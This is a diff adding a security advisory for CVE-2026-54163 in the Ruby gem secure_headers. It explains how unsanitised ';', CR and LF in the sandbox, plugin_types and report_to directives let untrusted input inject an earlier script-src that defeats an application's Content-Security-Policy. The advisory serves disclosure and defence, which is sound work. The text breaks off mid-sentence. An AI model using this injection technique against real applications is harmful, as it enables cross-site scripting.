+++ b/advisories/_posts/2026-06-03-CVE-2026-54163.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'CVE-2026-54163 (secure_headers): CSP directive injection via sandbox, plugin_types,
+ and report_to when given untrusted input'
+comments: false
+categories:
+- secure_headers
+advisory:
+ gem: secure_headers
+ cve: 2026-54163
+ ghsa: rqq5-2gf9-4w4q
+ url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54163
+ title: CSP directive injection via sandbox, plugin_types, and report_to when given
+ untrusted input
+ date: 2026-06-03
+ description: |-
+ ## Summary
+
+ secure_headers builds the Content-Security-Policy value by stitching
+ every configured directive together with ; separators. Three directive
+ builders (build_sandbox_list_directive, build_media_type_list_directive,
+ build_report_to_directive) interpolate caller-supplied strings into
+ that value without scrubbing ;, \r, or \n.
+
+ When an application forwards untrusted input into
+ SecureHeaders.override_content_security_policy_directives (or append_…)
+ for :sandbox, :plugin_types, or :report_to, an attacker can embed a
+ literal ; and inject an arbitrary CSP directive into the header value.
+ Because :sandbox and :plugin_types both sort alphabetically before
+ :script_src in BODY_DIRECTIVES, the injected script-src lands earlier
+ in the header and wins under the CSP first-occurrence rule, defeating
+ the application's real script-src. End result: an 'unsafe-inline' * policy
+ is forced for inline
-
-
-
-
-
-
-
-